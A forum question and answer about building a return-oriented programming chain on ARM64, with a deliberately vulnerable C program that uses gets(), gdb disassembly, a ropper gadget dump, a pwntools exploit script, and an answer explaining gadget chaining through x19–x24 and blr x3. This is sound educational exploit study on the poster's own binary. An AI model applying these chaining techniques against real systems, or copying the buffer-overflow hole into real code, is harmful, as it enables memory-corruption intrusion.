I am studying Rop on ARM (64 bit). So i am testing Rop vulnerability on my ARMv8 Cortex A-72 in order to understand how it works on Arm64. I wrote a very simple c vulnerable code:
#include <stdio.h>
#include <string.h>
void win(unsigned magic){
if(magic == 0xdeadbeef)
printf("I Should Never be Called!\n");
}
void vuln(){
char buffer[80];
printf("Buffer at:%p\n",buffer);
gets(buffer);
}
int main(int argc, char **argv){
vuln();
}
In order to call the win function i think the correct rop chain is:
offset + pop {x0,pc} + correct_argument + win_address
This is the assembly code:
Dump of assembler code for function main:
0x00000055555557f8 <+0>: stp x29, x30, [sp, #-32]!
0x00000055555557fc <+4>: mov x29, sp
0x0000005555555800 <+8>: str w0, [sp, #28]
0x0000005555555804 <+12>: str x1, [sp, #16]
0x0000005555555808 <+16>: bl 0x55555557c8 <vuln>
0x000000555555580c <+20>: mov w0, #0x0 // #0
0x0000005555555810 <+24>: ldp x29, x30, [sp], #32
0x0000005555555814 <+28>: ret
Dump of assembler code for function vuln:
0x00000055555557c8 <+0>: stp x29, x30, [sp, #-96]!
0x00000055555557cc <+4>: mov x29, sp
0x00000055555557d0 <+8>: add x0, sp, #0x10
0x00000055555557d4 <+12>: mov x1, x0
0x00000055555557d8 <+16>: adrp x0, 0x5555555000
0x00000055555557dc <+20>: add x0, x0, #0x8c0
0x00000055555557e0 <+24>: bl 0x5555555680 <printf@plt>
0x00000055555557e4 <+28>: add x0, sp, #0x10
0x00000055555557e8 <+32>: bl 0x5555555690 <gets@plt>
0x00000055555557ec <+36>: nop
0x00000055555557f0 <+40>: ldp x29, x30, [sp], #96
0x00000055555557f4 <+44>: ret
Dump of assembler code for function win:
0x00000055555557b4 <+0>: sub sp, sp, #0x10
0x00000055555557b8 <+4>: str w0, [sp, #12]
0x00000055555557bc <+8>: nop
0x00000055555557c0 <+12>: add sp, sp, #0x10
0x00000055555557c4 <+16>: ret
I disabled the ASLR first. Then using gdb i identified the offset at which the pc gets overwritten. The offset is 96 bytes. The last 8 bytes of the offset overflow the link register therefore the pc will point to that. So the next step is to search the right gadget. Since i am working on ARMv8 and the function win() takes one argument i am looking for a pop {x0, pc} gadget to mount my rop chain. I used ropper to search for gadgets to build the rop chain. Following the output of ropper command:
0x00000000000007c0: add sp, sp, #0x10; ret;
0x00000000000007e4: add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret;
0x0000000000000648: add x16, x16, #0; br x17;
0x0000000000000668: add x16, x16, #0x10; br x17;
0x0000000000000678: add x16, x16, #0x18; br x17;
0x0000000000000688: add x16, x16, #0x20; br x17;
0x0000000000000698: add x16, x16, #0x28; br x17;
0x000000000000062c: add x16, x16, #0xff8; br x17;
0x0000000000000658: add x16, x16, #8; br x17;
0x0000000000000870: add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;
0x00000000000006d8: adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret;
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16;
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret;
0x0000000000000624: adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17;
0x0000000000000660: adrp x16, #0x11000; ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17;
0x0000000000000670: adrp x16, #0x11000; ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17;
0x0000000000000680: adrp x16, #0x11000; ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17;
0x0000000000000690: adrp x16, #0x11000; ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17;
0x0000000000000650: adrp x16, #0x11000; ldr x17, [x16, #8]; add x16, x16, #8; br x17;
0x0000000000000640: adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17;
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16;
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret;
0x00000000000006e4: b #0x660; ret;
0x00000000000007b0: b #0x720; sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;
0x0000000000000704: b.eq #0x71c; adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16;
0x0000000000000884: b.ne #0x868; ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;
0x00000000000006d4: bl #0x670; adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret;
0x00000000000007e0: bl #0x680; add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret;
0x00000000000007e8: bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret;
0x0000000000000610: bl #0x6d8; ldp x29, x30, [sp], #0x10; ret;
0x0000000000000790: bl #0x6f0; movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
0x0000000000000808: bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;
0x000000000000087c: blr x3;
0x0000000000000718: br x16;
0x0000000000000718: br x16; ret;
0x0000000000000630: br x17;
0x00000000000006e0: cbz x0, #0x6e8; b #0x660; ret;
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16;
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16; ret;
0x0000000000000740: cbz x1, #0x758; adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16;
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16;
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16; ret;
0x0000000000000888: ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;
0x000000000000088c: ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;
0x0000000000000890: ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;
0x0000000000000614: ldp x29, x30, [sp], #0x10; ret;
0x00000000000007a0: ldp x29, x30, [sp], #0x20; ret;
0x0000000000000894: ldp x29, x30, [sp], #0x40; ret;
0x00000000000007f0: ldp x29, x30, [sp], #0x60; ret;
0x00000000000006dc: ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret;
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16;
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret;
0x0000000000000664: ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17;
0x0000000000000674: ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17;
0x0000000000000684: ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17;
0x0000000000000694: ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17;
0x0000000000000628: ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17;
0x0000000000000654: ldr x17, [x16, #8]; add x16, x16, #8; br x17;
0x0000000000000644: ldr x17, [x16]; add x16, x16, #0; br x17;
0x000000000000079c: ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16;
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret;
0x0000000000000868: ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;
0x0000000000000878: mov w0, w22; blr x3;
0x0000000000000874: mov x1, x23; mov w0, w22; blr x3;
0x0000000000000714: mov x16, x1; br x16;
0x0000000000000714: mov x16, x1; br x16; ret;
0x0000000000000750: mov x16, x2; br x16;
0x0000000000000750: mov x16, x2; br x16; ret;
0x000000000000086c: mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;
0x000000000000060c: mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret;
0x00000000000008a8: mov x29, sp; ldp x29, x30, [sp], #0x10; ret;
0x000000000000080c: movz w0, #0; ldp x29, x30, [sp], #0x20; ret;
0x0000000000000794: movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
0x0000000000000620: stp x16, x30, [sp, #-0x10]!; adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17;
0x0000000000000608: stp x29, x30, [sp, #-0x10]!; mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret;
0x00000000000008a4: stp x29, x30, [sp, #-0x10]!; mov x29, sp; ldp x29, x30, [sp], #0x10; ret;
0x0000000000000800: str w0, [sp, #0x1c]; str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;
0x00000000000007b8: str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;
0x0000000000000804: str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;
0x0000000000000798: strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
0x00000000000007b4: sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;
0x00000000000007bc: nop; add sp, sp, #0x10; ret;
0x000000000000063c: nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17;
0x00000000000007ec: nop; ldp x29, x30, [sp], #0x60; ret;
0x0000000000000638: nop; nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17;
0x000000000000089c: nop; ret;
0x0000000000000618: ret;
How you can see there is no gadgets like pop {x0,pc} however reading the armv8 cheat sheet the ldp x29, x30, [sp], #0x60
pop x29 and x30 from the stack so basically we can consider ldp as a pop instruction. But again there is no gadget which pop the x0 register from stack.
So my question is: How can i mount the rop chain having that gadgets from roppper ?
Please help me to understand it. Thank you.
My exploit:
from pwn import *
#gadget
win = p64(0x000000555555580c)
gadget_ldp = p64(0x00000000000008f8) #ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;
gadget_ldr = p64(0x00000000000008d8) # ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;
magic = p64(0xdeadbeef)
buf = p64(0x7ffffff000)
#payload
payload = b'\x90'*56;
payload += win;
payload += b'\x90'*24; #offset
payload += gadget_ldp;
payload += b'\x00'*8; #in x19 must be zero
payload += b'\x90'*8; # ldp register x20
payload += buf; #ldp register x21
payload += magic; #ldp register x22
payload += b'\x90'*8; #ldp register x23
payload += b'\x90'*8; #ldp register x24
payload += gadget_ldr;
#make connection to the binary and send payload
conn = process('./badcode')
conn.sendline(payload)
print(conn.recvline())
conn.interactive()
With the gadget at 0x0888
we can load all of x19-x24
from the stack and return, so we can set all their values arbitrarily and go on.
0x0878
has mov w0, w22
, which is nice, but then the branch is to x3
which we don't yet control.
But back up a few instructions and look at the 0x0868
gadget. Notable for us is:
ldr x3, [x21, x19, lsl #3]
//...
mov w0, w22
blr x3
So if in our previous step, we loaded x21
with some address where a pointer to win
can be found (maybe a place on the stack that we've set), and set x19
to zero, then we get win
in x3
. And likewise if in our previous step we loaded x22
with 0xdeadbeef
, then we get it in w0
here. So we should be able to branch to win
with w0
set as desired.